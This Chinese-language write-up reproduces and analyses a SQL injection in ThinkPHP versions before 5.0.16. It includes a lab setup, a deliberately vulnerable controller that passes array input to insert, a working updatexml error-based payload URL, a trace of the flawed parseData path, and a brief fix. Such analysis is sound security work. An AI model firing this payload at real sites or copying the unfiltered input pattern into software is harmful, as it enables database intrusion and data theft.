前言
在thinkphp5.0.16 之前存在一个sql注入漏洞,在insert和update 方法中 传入参数可控,且无严格过滤,最终导致本次 SQL 注入漏洞发生。
条件:漏洞的利用是建立在thinkphp接受数组形式的参数的基础上,虽然这种写法在查询中非常少见,但是在更新、插入的时候还是有相应的需求的。
环境搭建与复现
thinkphp 官网下载 5.0.14 版本下载:http://www.thinkphp.cn/down/1107.html
下载访问public目录
接下来创建数据库1
2
3create database thinkphp;
create table user(id int auto_increment primary key,username varchar(50),password varchar(50));
insert into user(id,username,password) values(1,"test","thinkphp");
在 \application\database.php
中配置好数据库
同时在congfig.php中将app_debug开为true
接下来在\application\index\controller\Index.php
写一个 update 功能的 demo1
2
3
4
5
6
7
8
9public function index()
{
$username = input('get.username/a');
// dump($password)."<br>";
// echo(db('user')->where(['id'=>1])->update(['password'=>$password]))."<br>";
Db::table("user")->where(["id"=>1])->insert(["username"=>$username]);
//dump(Db::table('user')->where('id',1)->find());
}
1 | $name = input("get.username/a"); |
input()为TP框架的助手函数,get.name/a 表示获取get传入的name变量,并将其强制转换为数组类型1
Db::table("user")->where(["id"=>1])->insert(["username"=>$username]);
用来向数据库中插入数据
接下来访问1
/public/index.php/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
漏洞分析
当输入数据1
username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
由input()获得数据
接着调用了update()方法 在thinkphp/library/think/db/Query.php:2078
在 2094 行会调用thinkphp/library/think/db/Builder.php:720: 下的insert()
接着会调用parseData()解析数据 在/library/think/db/Builder.php:86
从101 行开始分析:
将变量赋给$key 值赋给$var 即:1
2$key : "username"
$val : {"inc","updatexml(1,concat(0x7,user(),0x7e),1)","1"}
当$val[0] = inc 时 将$val[1] 与 $var[2] 进行拼接
虽然调用parseKey()处理 在thinkphp/library/think/db/builder/Mysql.php:90
可见并没有什么过滤,不过在某些情况下会用反引号把字段的值包起来,可能会影响payload的构造。
floatval()是将数据转化为浮点数
接着回到 thinkphp/library/think/db/Query.php 的 insert 中:
在updata()中同样调用了parseData()函数 因此原理和利用是一样的
漏洞修复
只有当$val[1]==$key键值时才能进行拼接
参考
https://bbs.ichunqiu.com/thread-38284-1-1.html
https://xz.aliyun.com/t/2257
https://xz.aliyun.com/t/2812#toc-5
https://seaii-blog.com/index.php/2018/04/08/80.html